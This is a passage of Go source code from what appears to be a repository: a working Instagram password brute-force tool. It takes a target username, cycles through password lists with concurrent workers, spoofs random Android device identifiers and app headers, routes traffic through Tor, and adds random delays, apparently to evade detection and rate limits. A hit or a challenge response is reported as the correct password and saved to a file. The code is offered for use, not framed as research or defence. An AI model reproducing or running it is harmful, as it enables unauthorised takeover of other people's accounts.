fmt.Println("\nStarting login attempts...\n") 147 | found := make(chan LoginResult, 1) 148 | progress := make(chan int, len(passwords)) 149 | var wg sync.WaitGroup 150 | 151 | jobs := make(chan string, len(passwords)) 152 | for i := 0; i < WORKER_COUNT; i++ { 153 | wg.Add(1) 154 | go func() { 155 | defer wg.Done() 156 | for password := range jobs { 157 | res := tryLogin(username, password, useTor) 158 | progress <- 1 159 | if res.Success { 160 | select { 161 | case found <- res: 162 | default: 163 | } 164 | return 165 | } 166 | time.Sleep(randomDuration(RATE_LIMIT_MIN, RATE_LIMIT_MAX)) 167 | } 168 | }() 169 | } 170 | 171 | go func() { 172 | for _, password := range passwords { 173 | jobs <- password 174 | } 175 | close(jobs) 176 | }() 177 | 178 | go showProgressBar(len(passwords), progress) 179 | 180 | select { 181 | case res := <-found: 182 | fmt.Println("✅ The correct password was found! (2FA/Challenge Required)") 183 | fmt.Printf("Username: %s\n", username) 184 | fmt.Printf("\n✅ Correct password: %s\n", res.Password) 185 | saveResultJSON(res) 186 | case <-waitGroupTimeout(&wg, 60*time.Minute): 187 | fmt.Println("\n❌ Password not found.") 188 | saveResultJSON(LoginResult{ 189 | Username: username, 190 | Password: "", 191 | Success: false, 192 | Time: time.Now().Format("2006-01-02 15:04:05"), 193 | Message: "Not found", 194 | }) 195 | } 196 | } 197 | 198 | func selectMode() int { 199 | reader := bufio.NewReader(os.Stdin) 200 | fmt.Println("Choose attack mode:") 201 | fmt.Println("[1] AUTO ATTACK (use default passwords)") 202 | fmt.Println("[2] MANUAL ATTACK (use your own password file)") 203 | fmt.Print("Enter your choice (1 or 2): ") 204 | for { 205 | input, _ := reader.ReadString('\n') 206 | input = strings.TrimSpace(input) 207 | if input == "1" || input == "2" { 208 | if input == "1" { 209 | return 1 210 | } else { 211 | return 2 212 | } 213 | } 214 | fmt.Print("Invalid choice. Please enter 1 or 2: ") 215 | } 216 | } 217 | 218 | func loadPasswordsAuto() []string { 219 | return loadPasswordsFromFiles("password.txt", "password.json") 220 | } 221 | 222 | 223 | func loadPasswordsManual() []string { 224 | reader := bufio.NewReader(os.Stdin) 225 | fmt.Print("Enter your password file path: ") 226 | filePath, _ := reader.ReadString('\n') 227 | filePath = strings.TrimSpace(filePath) 228 | return loadPasswordsFromFiles(filePath, "") 229 | } 230 | 231 | func loadPasswordsFromFiles(txtFile string, jsonFile string) []string { 232 | var passwords []string 233 | if txtFile != "" { 234 | file, err := os.Open(txtFile) 235 | if err == nil { 236 | defer file.Close() 237 | scanner := bufio.NewScanner(file) 238 | for scanner.Scan() { 239 | pass := strings.TrimSpace(scanner.Text()) 240 | if pass != "" { 241 | passwords = append(passwords, pass) 242 | } 243 | } 244 | } else { 245 | log.Printf("Error opening password file: %v", err) 246 | } 247 | } 248 | if jsonFile != "" { 249 | fileJSON, errj := os.Open(jsonFile) 250 | if errj == nil { 251 | defer fileJSON.Close() 252 | var jsonPasswords []string 253 | decoder := json.NewDecoder(fileJSON) 254 | if err := decoder.Decode(&jsonPasswords); err == nil { 255 | passwords = append(passwords, jsonPasswords...) 256 | } 257 | } 258 | } 259 | return passwords 260 | } 261 | 262 | func getPublicIP(client *http.Client) (string, error) { 263 | resp, err := client.Get("https://api.ipify.org") 264 | if err != nil { 265 | return "", err 266 | } 267 | defer resp.Body.Close() 268 | ip, err := io.ReadAll(resp.Body) 269 | if err != nil { 270 | return "", err 271 | } 272 | return string(ip), nil 273 | } 274 | 275 | func getTorIP() (string, bool) { 276 | socksProxy := "127.0.0.1:9050" 277 | dialer, err := proxy.SOCKS5("tcp", socksProxy, nil, proxy.Direct) 278 | if err != nil { 279 | return "", false 280 | } 281 | transport := &http.Transport{Dial: dialer.Dial} 282 | client := &http.Client{ 283 | Transport: transport, 284 | Timeout: 15 * time.Second, 285 | } 286 | ip, err := getPublicIP(client) 287 | if err != nil { 288 | return "", false 289 | } 290 | return ip, true 291 | } 292 | 293 | func setupLogger() { 294 | logFile, err := os.OpenFile("debug.log", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) 295 | if err == nil { 296 | log.SetOutput(logFile) 297 | } 298 | } 299 | 300 | func getUsername() string { 301 | reader := bufio.NewReader(os.Stdin) 302 | fmt.Print("Enter Instagram username: ") 303 | username, _ := reader.ReadString('\n') 304 | return trim(username) 305 | } 306 | 307 | func showProgressBar(total int, progress <-chan int) { 308 | completed := 0 309 | for range progress { 310 | completed++ 311 | printProgress(completed, total) 312 | } 313 | } 314 | 315 | func waitGroupTimeout(wg *sync.WaitGroup, timeout time.Duration) <-chan struct{} { 316 | done := make(chan struct{}) 317 | go func() { 318 | c := make(chan struct{}) 319 | go func() { 320 | wg.Wait() 321 | close(c) 322 | }() 323 | select { 324 | case <-c: 325 | case <-time.After(timeout): 326 | } 327 | close(done) 328 | }() 329 | return done 330 | } 331 | 332 | type deviceInfo struct { 333 | deviceID string 334 | androidID string 335 | phoneID string 336 | adid string 337 | guid string 338 | userAgent string 339 | } 340 | 341 | func randomHex(length int) string { 342 | const hex = "0123456789abcdef" 343 | b := make([]byte, length) 344 | for i := range b { 345 | b[i] = hex[rand.Intn(len(hex))] 346 | } 347 | return string(b) 348 | } 349 | 350 | func randomUUID() string { 351 | return fmt.Sprintf("%s-%s-%s-%s-%s", 352 | randomHex(8), randomHex(4), randomHex(4), randomHex(4), randomHex(12)) 353 | } 354 | 355 | func randomDeviceInfo() deviceInfo { 356 | id := randomUUID() 357 | return deviceInfo{ 358 | deviceID: id, 359 | androidID: fmt.Sprintf("android-%s", randomHex(16)), 360 | phoneID: randomUUID(), 361 | adid: randomUUID(), 362 | guid: randomUUID(), 363 | userAgent: userAgents[rand.Intn(len(userAgents))], 364 | } 365 | } 366 | 367 | func buildHeaders(dev deviceInfo) map[string]string { 368 | return map[string]string{ 369 | "User-Agent": dev.userAgent, 370 | "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", 371 | "Accept": "*/*", 372 | "Accept-Language": "en-US", 373 | "Accept-Encoding": "gzip, deflate, br", 374 | "X-IG-Capabilities": "3brTvw==", 375 | "X-IG-Connection-Type": "WIFI", 376 | "X-IG-App-ID": IG_APP_ID, 377 | "X-IG-Bloks-Version-Id": IG_BLOKS_VERSIONID, 378 | "X-IG-Device-ID": dev.deviceID, 379 | "X-IG-Android-ID": dev.androidID, 380 | "X-IG-Phone-ID": dev.phoneID, 381 | "X-IG-Ad-ID": dev.adid, 382 | "X-FB-HTTP-Engine": "Liger", 383 | "X-FB-Client-IP": "True", 384 | "X-FB-Server-Cluster": "True", 385 | } 386 | } 387 | 388 | type InstagramResponse struct { 389 | Status string `json:"status"` 390 | Message string `json:"message"` 391 | ErrorType string `json:"error_type"` 392 | ErrorTitle string `json:"error_title"` 393 | Challenge struct { 394 | URL string `json:"url"` 395 | } `json:"challenge"` 396 | } 397 | 398 | type LoginResult struct { 399 | Username string `json:"username"` 400 | Password string `json:"password"` 401 | Success bool `json:"success"` 402 | Time string `json:"time"` 403 | Message string `json:"message"` 404 | } 405 | 406 | func tryLogin(username, password string, useTor bool) LoginResult { 407 | loginUrl := API_URL + "accounts/login/" 408 | dev := randomDeviceInfo() 409 | data := url.Values{} 410 | data.Set("username", username) 411 | data.Set("enc_password", fmt.Sprintf("#PWD_INSTAGRAM_BROWSER:0:%d:%s", time.Now().Unix(), password)) 412 | data.Set("device_id", dev.deviceID) 413 | data.Set("uuid", dev.guid) 414 | data.Set("adid", dev.adid) 415 | data.Set("phone_id", dev.phoneID) 416 | data.Set("login_attempt_count", fmt.Sprintf("%d", rand.Intn(3))) 417 | 418 | var client *http.Client 419 | if useTor { 420 | dialer, err := proxy.SOCKS5("tcp", "127.0.0.1:9050", nil, proxy.Direct) 421 | if err == nil { 422 | transport := &http.Transport{Dial: dialer.Dial} 423 | client = &http.Client{Transport: transport, Timeout: TIMEOUT} 424 | } else { 425 | client = &http.Client{Timeout: TIMEOUT} 426 | } 427 | } else { 428 | client = &http.Client{Timeout: TIMEOUT} 429 | } 430 | 431 | req, err := http.NewRequest("POST", loginUrl, strings.NewReader(data.Encode())) 432 | if err != nil { 433 | log.Printf("Error creating request: %v\n", err) 434 | fmt.Println("Error creating request:", err) 435 | return LoginResult{Username: username, Password: password, Success: false, Time: time.Now().Format("2006-01-02 15:04:05"), Message: "Request error"} 436 | } 437 | 438 | for k, v := range buildHeaders(dev) { 439 | req.Header.Set(k, v) 440 | } 441 | 442 | resp, err := client.Do(req) 443 | if err != nil { 444 | log.Printf("Error sending request: %v\n", err) 445 | fmt.Println("Error sending request:", err) 446 | return LoginResult{Username: username, Password: password, Success: false, Time: time.Now().Format("2006-01-02 15:04:05"), Message: "HTTP error"} 447 | } 448 | defer resp.Body.Close() 449 | 450 | var reader io.Reader 451 | if resp.Header.Get("Content-Encoding") == "gzip" { 452 | gzipr, err := gzip.NewReader(resp.Body) 453 | if err != nil { 454 | log.Printf("Error reading gzip response: %v\n", err) 455 | fmt.Println("Error reading gzip response:", err) 456 | return LoginResult{Username: username, Password: password, Success: false, Time: time.Now().Format("2006-01-02 15:04:05"), Message: "Gzip read error"} 457 | } 458 | defer gzipr.Close() 459 | reader = gzipr 460 | } else { 461 | reader = resp.Body 462 | } 463 | 464 | body, err := io.ReadAll(reader) 465 | if err != nil { 466 | log.Printf("Error reading response: %v\n", err) 467 | fmt.Println("Error reading response:", err) 468 | return LoginResult{Username: username, Password: password, Success: false, Time: time.Now().Format("2006-01-02 15:04:05"), Message: "Read error"} 469 | } 470 | 471 | bodyStr := strings.TrimSpace(string(body)) 472 | log.Printf("Raw response: %s\n", bodyStr) 473 | 474 | if !strings.HasPrefix(bodyStr, "{") { 475 | log.Printf("Non-JSON response: %s\n", bodyStr) 476 | fmt.Println("Non-JSON response:", bodyStr) 477 | return LoginResult{Username: username, Password: password, Success: false, Time: time.Now().Format("2006-01-02 15:04:05"), Message: "Non-JSON response"} 478 | } 479 | 480 | var response InstagramResponse 481 | if err := json.Unmarshal(body, &response); err != nil { 482 | log.Printf("Error parsing response: %v\n", err) 483 | fmt.Println("Error parsing response:", err) 484 | return LoginResult{Username: username, Password: password, Success: false, Time: time.Now().Format("2006-01-02 15:04:05"), Message: "Parse error"} 485 | } 486 | 487 | success := response.Status == "ok" || strings.Contains(bodyStr, "logged_in_user") 488 | 489 | if success || response.Message == "challenge_required" || response.ErrorType == "challenge_required" { 490 | return LoginResult{Username: username, Password: password, Success: true, Time: time.Now().Format("2006-01-02 15:04:05"), Message: "challenge or success"} 491 | } 492 | 493 | msg := response.Message 494 | if response.ErrorType == "bad_password" { 495 | msg = "invalid password" 496 | } 497 | if response.ErrorType == "invalid_user" { 498 | msg = "invalid username" 499 | } 500 | return LoginResult{Username: username, Password: password, Success: false, Time: time.Now().Format("2006-01-02 15:04:05"), Message: msg} 501 | } 502 | 503 | func saveResultJSON(result LoginResult) { 504 | file, err := os.OpenFile("results.json", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) 505 | if err != nil { 506 | log.Printf("Error saving result: %v", err) 507 | return 508 | } 509 | defer file.Close() 510 | 511 | enc := json.NewEncoder(file) 512 | err = enc.Encode(result) 513 | if err != nil { 514 | log.Printf("Error encoding result: %v", err) 515 | } 516 | } 517 | 518 | func trim(s string) string { 519 | return strings.TrimSpace(s) 520 | } 521 | 522 | func printProgress(current, total int) { 523 | percent := (current * 100) / total 524 | bar := strings.Repeat("█", percent/2) + strings.Repeat("-", 50-percent/2) 525 | os.Stdout.WriteString( 526 | "\r[" + bar + "] " + 527 | fmt.Sprintf(" %d/%d ", current, total) + 528 | fmt.Sprintf(" %d%%", percent)) 529 | if current == total { 530 | os.Stdout.WriteString("\n") 531 | } 532 | } 533 | 534 | func randomDuration(min, max int) time.Duration { 535 | return time.Duration(rand.Intn(max-min+1)+min) * time.Second 536 | } 537 | -------------------------------------------------------------------------------- /images/snake.svg: -------------------------------------------------------------------------------- 1 | --------------------------------------------------------------------------------